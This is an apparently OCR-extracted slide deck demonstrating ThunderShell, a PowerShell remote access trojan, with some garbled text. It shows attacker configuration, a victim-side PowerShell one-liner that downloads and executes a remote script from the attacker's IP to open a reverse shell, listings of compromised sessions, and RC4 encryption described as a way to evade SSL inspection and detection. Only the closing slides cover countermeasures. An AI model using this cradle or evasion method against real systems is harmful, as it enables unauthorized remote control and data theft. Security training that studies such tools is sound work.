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About ThunderShell

* ThunderShell is a Powershell based RAT that rely on HTTP
requests to communicate

« All the network traffic is encrypted using a second layer of RC4 to
avoid SSL interception and defeat network hooks
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Requirements

* redis-server
* python-redis
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Demo configuration

« Attacker: Kali Linux 2017 64 bit (https://www.kali.org/downloads/)

* Victim: Windows 10 x64 Version 1703
» Powershell version: 5.1.15063.608

| Victim | | Router | | Attacker |

| Machine | === | | === | Machine |

| | | | | |

Windows 10 Kali Linux 2017
IP 192.168.254.132 192.168.10.12
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Installing ThunderShell

* Clone GitHub repo

Shell/
t 1s
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Logs

 Every error, http requests and commands are logged in the logs
folder

/root/ThunderShell/logs/01-10-2017

total 240K
drwxr-xr-x 2 root root 4.0K Oct
drwxr-xr-x 3 root root 4.0K Oct ARYY
W=T root root 125 Oct 21:44 event.log
-rw-r--r-- 1 root root 31K Oct 21:53 htip
-rw-r--r-- 1 root root 187K Oct 1:53 shell 825dff2e-dSc6-45af-bdIb-fd07cfebb735.10g
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How ThunderShell works

* Once the PowerShell script is executed and HTTP request will be
issued to the server

» The body of each POST request contains the RC4 encrypted
communication. Why RC4 because it's strong enough to hide the
traffic. The idea is to upload / download data over the network that
cannot be inspected
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How ThunderShell works

» The RAT support HTTPS but some security product may perform
SSL interception and obtain visibility on the data leading to
detection of malicious payload (PowerShell script, stager etc...).
The RC4 encryption allows to communicate over the wire without
leaking the payload
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Using ThunderShell

» Attacker side > configuration file (default.json)

#|cat default.json

"redis-host": "localhost",
"redis-port": 6379,

"http=hest™y "1.92.168.10..12",
"http-port™s: 8080,
"http-server": "Microsoft-IIS/7.5",

"https—enabled": "off",
"https—cert-path”: "cert.pem",
ption-key": "test",

"max-output-timeout": 5
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Using ThunderShell

« Attacker side > Listen on port 8080 (webserver)
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Using ThunderShell

* Victim side (victim machine is already compromised by the
attacker) > Run the following command

[* CH¥WINDOWS¥system32>powershell -exec bypass IEX (New-Object
Net.WebClient).DownloadString(‘http://192.168.10.12/PS-RemoteShell.psl’); PS-
RemoteShell -ip 192.168.10.12 -port 8080 -Key test -Delay 2000 */

C: \WINDOWS\system32>powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.12/PS-RemoteShell.psl');

PS-RemoteShell -ip 192.168.10.12 -port 8080 -Key test -Delay 2000
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Using ThunderShell

» Attacker side > victim machine connects back to the attacker

# python ThunderShell.py default.json
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Using ThunderShell

« Attacker side > the help menu
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Using ThunderShell

» Attacker side > list of active shells

.List of active shells

x64 - 192.168.254.132:RTMA\Administrator
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Using ThunderShell

» Attacker side > interact with the victim machine
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Countermeasures

* Block powershell.exe

 Analyze the network traffic (using a Network Traffic Analyzer device
etc...) and look for old HTTP versions (version 1.0) and suspicious
POST requests

POST /?e3f@afle-23ab-4d39-a43@-cdfdSdad4c2b HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 192.168.10.12:8080

Content-Length: 848

Expect: 10@-continue

Connection: Keep-Alive

pMZJZ49BGAiBKz8xdNWSqs7qkDyufGHjoQ9a7hBjaF p6K4p4RYtVCtQ+S5WimdeSQTarmEZfNirFyke4fETSqVItb1Q111rTdINSieVIqljp7Y3WCisgdH3GIGGWMIDZ2NXxsKZhhial
+4uMegFyLw721/dD/1QnRFGYNOIByKifldpbadxmp6GVXDAimsu4veDj7T8183W7imeTuVvnjZ83LGqbIdh6rjsx0jpHSbU
+dVsXka2qyQuxcOQIyH7XMoghzjLQNUSIrTI3FBtQvoISRGQOpXK7PTbMrRKUHPVEaZib+k/xuYDSOYQRIZZQO3Craudkg/
3NcZa9mBw@BHuxFoI1mS8NIIxfqwqmZspkOXPUWPgdpOGIBNAUNRS/aRHWBI3J+uKDRbR+Lib2INcod/
RTsfSC4mdkBRLvXoC4akGc8BgQRkojgn1XUBIfRjzzAUtiarsFQOBghsRv3C6umf+ohEGXVNGELVEbNUYH3HdZvsKcUunUlyqPpcvkZz33t/
vxh9eBPIVEx3bncGd9oWibpvQqsOasgXAIF1iL5uCAveHVQImmaC Y cccA7dQGISulhsCrAWRXsktqw+/D7urhpbk9S1bSxrKDzGa9ZAjTnHerNwA2Grb78RHz8IuU203vE
+r8v5KeNZoAHVETWVVIWNPU2c52B]IXqxdTSgHceqndK60P 254 xKaX9+jWUv3NIAbZHE 2WdSDULEaKYG7U0IV4h3x jHy 9 fC
qu7135E9kJFTbSMVAztZUSBﬂxnBc1qijqrstaZaB/angqu5mTuZOaksHDanbIYla30ijZvaT6qY55QTdUEi/pdS
Server: Microsoft-IIS/7.5

Date: Mon, @2 Oct 2017 ©2:38:02 GMT

Content-Type: text/html
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References

* Kitploit
http://www.kitploit.com/2017/09/thundershell-powershell-based-rat.html

+ Kali Linux
https://www.kali.org/downloads/

* RAT (Remote Access Trojan)
https://en.wikipedia.org/wiki/Remote_access_trojan
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